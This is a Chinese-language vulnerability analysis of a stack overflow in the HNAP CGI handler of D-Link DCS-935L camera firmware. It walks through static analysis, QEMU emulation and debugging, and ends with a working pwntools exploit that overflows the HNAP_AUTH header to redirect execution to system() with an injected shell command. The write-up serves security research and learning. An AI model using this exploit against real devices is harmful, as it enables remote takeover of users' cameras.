D-Link DCS-935L固件栈溢出漏洞分析
固件下载地址
binwalk -e ./DCS-935L_A1_FW_1.10.01_20161128_r4156.bin解包
CGI 全称是:Common Gateway Interface(通用网关接口)是一种老式的 Web 后端机制。
浏览器发 HTTP 请求给 Web 服务器,Web 服务器再启动一个外部程序来处理这个请求,这个外部程序就叫 CGI 程序。
浏览器 / exploit 脚本
↓
HTTP 请求
↓
设备里的 httpd Web 服务器
↓
启动 CGI 程序 hnap_service
↓
hnap_service 处理请求
↓
输出 HTTP 响应
↓
返回给浏览器 / 脚本
他是一个可执行文件,需要qemu-mips-static来模拟运行,真实设备里,它不是自己监听网络端口,而是由 httpd 这种 Web 服务启动。HTTP 请求来了以后,Web 服务会把请求拆成两部分:
1 2
| >HTTP 头部 Header -> 环境变量 getenv() >HTTP 正文 Body -> 标准输入 stdin
|
该固件可以分析这个专门处理 HNAP 请求的CGI 可执行程序
![image]()
查看可执行文件信息
![image]()
MSB = Most Significant Byte first = 大端序 = big endian
把qemu-mips-static copy到squashfs-root目录下
![image]()
漏洞点条件判断
拖入ida静态分析
对env的输入没有限制
![image]()
但是在栈上而且有定义的大小,存在栈溢出
![image]()
从漏洞点想向上分析,观察需要满足什么条件才可以进入 strcpy(haystack, env);函数
HNAP_AUTH是栈溢出函数
COOKIE和SOAP_ACTION非空
且存在v16 = strstr(haystack, “uid=”);所以COOKIE中要存在”uid=”的格式
![image]()
继续向上追踪回到main函数
看到该漏洞函数处理的是/tmp/.hnap_in.xml文件,但是我们的squashfs-root没有该文件夹,应该是程序运行时建立的临时文件,需要我们自己去建立一个
![image]()
CONTENT_LENGTH<0x20000,而且会从stdin(HTTP Body,也就是 XML 请求体。)中读取CONTENT_LENGTH个字节,可以用一个文件来模拟
![image]()
且根据之后的调用
danger() 里会解析:
1 2 3
| ixmlGetElementByTag(Document, "soap:Body"); ixmlNode_getFirstChild(ElementByTag); ixmlNode_getLocalName(v8);
|
所以XML 里必须有:
1 2 3 4 5
| <soap:Body> <SetDeviceSettings> ... </SetDeviceSettings> </soap:Body>
|
1 2 3
| sudo tee ./1.txt > /dev/null <<'EOF' <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"><Action>SetDeviceSettings</Action><DeviceName>1</DeviceName></SetDeviceSettings></soap:Body></soap:Envelope> EOF
|
![image]()
![image]()
REQUEST_METHOD=”POST”
SOAP_ACTION非空
sudo chroot . ./bin/sh
把当前目录临时当成系统根目录然后在这个“假根目录”里面启动./bin/sh
因为 hnap_service 是固件里的程序,它运行时会找这些路径
环境变量定义
1 2 3 4 5
| export REQUEST_METHOD="POST" export SOAP_ACTION="111111" export CONTENT_LENGTH=$(wc -c < /1.txt) export COOKIE="uid=aaaa;" export HNAP_AUTH="11111111"
|
./qemu-mips-static -g 1234 /web/cgi-bin/hnap/hnap_service < /1.txt
在 chroot 固件环境里,用 QEMU 启动 MIPS 程序,并开启 IDA/GDB 动态调试
Debugger -> Select debugger ->Remote GDB debugger
然后
Debugger -> Process options
如果IDA 在 Kali/Linux 同一台机器里,Host 就填127.0.0.1
如果 IDA 在 Windows,QEMU 在 Kali 虚拟机,Host 填 Kali 的 IP
1 2 3 4
| Hostname: 127.0.0.1/192.168.xxx.xxx Port: 1234 Application: /web/cgi-bin/hnap/hnap_service Input file: /web/cgi-bin/hnap/hnap_service
|
![image]()
![image]()
可以看到,此时可以执行到该漏洞函数
本地栈溢出攻击
覆盖返回地址为system函数
![image]()
先找ret地址的偏移
用cyclic 1200找偏移
而且看到程序会对haystack的“ ”进行切割,所以在放置1200的字符时要放几个空格防止程序崩溃
![image]()
1
| HNAP_AUTH =b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal aaaaaaaaaaaaaaaaaaa"
|
![image]()
然后放置参数
可以通过stdin去放入,由下图可知,它的位置也是在栈上的
![image]()
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| JUMP_TO = 0x4033e4 BSS_ADDR = 0x43a830 CMD = b'ls'
import os import subprocess import base64 from pwn import *
os.chroot(".") os.chdir("/")
JUMP_TO = p32(JUMP_TO, endian = 'big').replace(b'\x00', b'\x20', 1) BSS_ADDR = p32(BSS_ADDR, endian = 'big').replace(b'\x00', b'\x20', 1)
http_body = b'''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetDeviceSettings xmlns="http://192.168.0.1/HNAP1/"><Action>SetDeviceSettings</Action><DeviceName>1</DeviceName> <ThisIsGoodThing>command:''' + b':;' * 10000 + b"ls" + b''';echo 114514 #</ThisIsGoodThing></SetDeviceSettings></soap:Body></soap:Envelope>'''
HNAP_AUTH = b'11111111aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaaraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakh' + BSS_ADDR + b'aakjaakkaaklaakmaaknaakoaakpaak1' + JUMP_TO
COOKIE = b'uid=aaaa;' SOAP_ACTION = b'111111111' CONTENT_LENGTH = str(len(http_body)).encode() REQUEST_METHOD = b'POST'
print(123) print(HNAP_AUTH.decode('latin-1').encode())
subprocess.run( ['/qemu-mips-static', '-g', '1234', '/web/cgi-bin/hnap/hnap_service'], input=http_body, env={ 'REQUEST_METHOD': REQUEST_METHOD, 'SOAP_ACTION': SOAP_ACTION, 'CONTENT_LENGTH': CONTENT_LENGTH, 'COOKIE': COOKIE, 'HNAP_AUTH': HNAP_AUTH } )
|
![image]()